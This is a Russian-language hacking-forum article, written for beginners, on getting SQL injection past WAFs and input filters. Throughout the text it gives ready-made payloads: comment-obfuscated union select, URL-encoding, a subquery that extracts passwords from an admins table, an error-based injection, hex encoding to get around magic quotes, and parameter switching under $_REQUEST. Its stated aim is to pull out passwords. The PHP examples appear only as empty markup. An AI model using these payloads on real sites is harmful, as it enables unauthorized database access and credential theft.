[INTRO]
Доброго времени суток. Эта статья будет посвящена обходу разнообразных фильтров и WAF'ов во время проведения SQLi.
Если вы читаете эту статью - что это вы уже знаете.
В самом начале хочу сказать, что ничего сверх-нового я тут не напишу. Эта статья от новичка для новичков. Просто я собрал все известные мне способы воедино.
Ну что, погнали?
[ВХОЖДЕНИЯ]
Все, или почти все, вафы реализуются с помощью вхождений.
Допустим есть переменная id, которая принимается REQUEST'ом, и сканится на наличие инъекции.
Переменная сканируется на наличее следующих
вхождений:
Сообщение от
None
union select
Что такое вхождение?
Это некий параметр который кем-то задан. А в строке, которую сканируют - ищутся совпадения с тем, что было зарание определено. Например:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Сообщение от
None
Array ( [0] => Array ( [0] => ing [1] => 6 ) )
Первое вхождение после 6-го символа. Возвращается либо 0(
false) либо 1(
true)
Регистро-независимая функция.
Простой пример фильтра на PHP:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Вот и все, для новичка, казалось бы, можно опускать руки, НО! У нас же есть коменнтарии, которые никак не влияют на сам запрос к базе, зато влияют на строку. К примеру:
Сообщение от
None
site.com/ucp.php?id=1+union+select+user()+--+
$id=1
union select user() --
Все, запалились мы Но мы поступим по другому.
Сообщение от
None
site.com/ucp.php?id=1+union/**/select+user()+--+
$id=1
union/**/select user() --
Все, вхождений нету, вытаскиваем пароли
[МЕТОДА ОБХОДА]
В основном фильтры сканируют либо сам запрос (то, что шлет браузер), либо уже содержимое переменных, которые были заданы запросом.
Обход фильтрации пробелов:
filtered: id=1+and+1=2+--+
bypassed: id=(1)and(1)=2
bypassed: id=1/**/and/**/1=2
bypassed: id=1/*!and*/1=2
bypassed: id=%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20
%31%20%61%6E%64%20%31%3D%32%20%2D%2D%20 эквивалентно
1 and 1=2 --
Последний способ побеждает некоторые фильтры первого типа. Это обычное URL кодирование.
Обход фильтрации комбинаций unoin select:
filtered: id=1+union+select+user()+--+
bypassed: id=1/**/union/**/select/**/user()/**/--/**/
bypassed: id=1/*!union*/select+user()+--+
Далее вы уже можете сами пофантозировать с формами обхода способом комментариев.
Хочу пояснить как работаю комментарии:
/* - открыть многострочный комментарий
*/ - закрыть многострочный комметарий
! - выполнить код, который после знака
Например:
Сообщение от
None
/*!
exec
*/
Сообщение от
None
/*comment*/
Более умные фильтрации:
А что же делать, если во всей строке ищутся вхождений
union и
select?
Тоесть не важно в какой последовательносте они стоят, если
ОБА слова есть в строке - облом.
Тогда от одного прийдется избавится
filtered: id=1/*!uniON*//**//*!SeleCT*/pass+from+admins+where+id=1+--+
bypassed: id=-1 || (select+pass+from+admins+where+id=1)='admin'
Нужно знать таблицу, колонку, и какие-то данные (любые).
Поэтому я предпочитаюю
Error Based:
Сообщение от
None
1+or+1+group+by+mid(user(),rand(0)|0,64)+having+av g(0)+--+
К тому же, можно обойтись и без select
[MAGIC_QUOTES]
Очень часто магические кавычки, или
addslashes() мешает нам работать. На помощь приходит старый добрый HEX. Например:
?id=1+union+select+pass+from+users+where+name='adm in'+--+
Если
MQ=
on, то запрос будет примерно таким:
Сообщение от
None
mysql("SELECT * from news where news_id=1 union select pass from users where name=
\'
admin
\'
--
Обходим хексом:
?id=1+union+select+pass+from+users+where+name=0x61 646D696E+--+
Сообщение от
None
mysql("SELECT * from news where news_id=1 union select pass from users where name=0x61646D696E -- ");
Не забывайте добавить
0х, что бы мускул понял, что мы скармливаем ему хекс.
[АУТРО]
Не забывайте, что почти всегда можно найти замену тому или иному элементу:
OR --
||
AND --
&&
WHERE --
HAVING
ORDER --
GROUP
+ --
/**/
и тд.
[Игры с запросами]
Дело в том, что обычные WAF фильтруют в основном POST\GET запросы. Или же очень строго фильтрую GET и обходимо фильтруют POST.
Фишка в том, что есть параметр принимается с помощью _REQUEST - его можно отправить 2(по дефолту в новых версиях) или 4-мя (при особых конфигах) способами.
Порядок такой:
GPCS
гет, пост, куки, сессия.
Последующий перезатирает предедущий. Очень помогает, при обходах. Например ну никак гетом не можешь обойти - попробуй отправить постом.
Вот собственно и все. Критика приветствуется, статья будет дополнятся\изменятся в виду приобретения мною опыта и вашей критики.
Спасибо